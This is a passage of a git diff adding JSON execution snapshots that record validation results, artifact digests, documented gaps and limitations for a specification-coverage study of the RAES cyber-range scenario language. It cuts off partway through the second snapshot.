}, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "982ffaed259c4efd8d6c7c789e863cdc763cd06e132aebe2e749260eeabe6aaf", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "9ab6f584a3595be771d3f6a425e2d27dffc2c9e278006c785709c1feda61790b", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "365a9abb48aff3bc11a595fb42dfcbaa506d7bac15558d5853a6c9ca5aa19443", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture binds authoring-adapter semantic conformance alongside the retained augmentation scope work to fresh source and package digests; outcomes, classifications, denominator, and claim limits are unchanged. It does not qualify an adapter transport or native backend scope enforcement." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "6ef3bdf5ec7784c7d0ecd6e78228bb2924b0e748", + "snapshot_id": "raes-standardized-specification-coverage-issue-1005-v26", + "snapshot_revision": "26.0.0", + "source_state": { + "base_revision": "6ef3bdf5ec7784c7d0ecd6e78228bb2924b0e748", + "checkout_state": "modified", + "implementation_digest": "995134b75111757afebf59f42f2efe6b4b6b596ab777433842ef35c995492e26", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v27.json b/docs/research/specification-coverage/execution-snapshot-v27.json new file mode 100644 index 000000000..59c1ba582 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v27.json @@ -0,0 +1,689 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-17T04:04:20.260824+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": 